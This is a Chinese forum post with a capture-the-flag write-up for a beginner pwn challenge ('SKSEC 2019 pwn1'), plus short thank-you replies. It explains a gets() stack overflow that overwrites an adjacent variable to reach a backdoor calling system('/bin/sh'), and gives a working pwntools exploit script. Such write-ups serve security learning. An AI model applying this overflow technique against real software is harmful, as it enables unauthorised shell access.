SKSEC 2019 pwn1
# pwn11、将程序拖入IDA,找到主函数,按F5查看伪代码

2、程序的执行流程是通过gets()函数输入变量v4,如果变量v5等于440039336819(这是一个字符串,可以选中后,按r键,查看反向的字符串),则执行backdoor()函数
3、进入backdoor()函数,可以发现函数返回了system("/bin/sh")

4、我们想到可以通过覆盖变量的方式来达到控制程序执行流程的目的,首先计算出变量v4和变量v5的地址差,即0x20-0x08=0x18(==注意是十六进制的!!!==),0x18转换成十进制也就是24。

5、payload就是计算出的两个变量的地址之差乘以任意字符,再加上字符串skctf
```python
payload = 'a'*24+'skctf'
```
6、漏洞利用脚本如下:
```python
from pwn import *
p=process('./pwn1')
payload='a'*24+'skctf'
p.sendline(payload)
p.interactive()
``` 非常感谢楼主的分享
能分享程序不? :lol学长出的入门好题。 学习学习! 学习,感谢楼主分享 厉害,支持一下 感谢分享 楼主还有其他的题目吗?想多学一点
感谢分享!
页:
[1]
2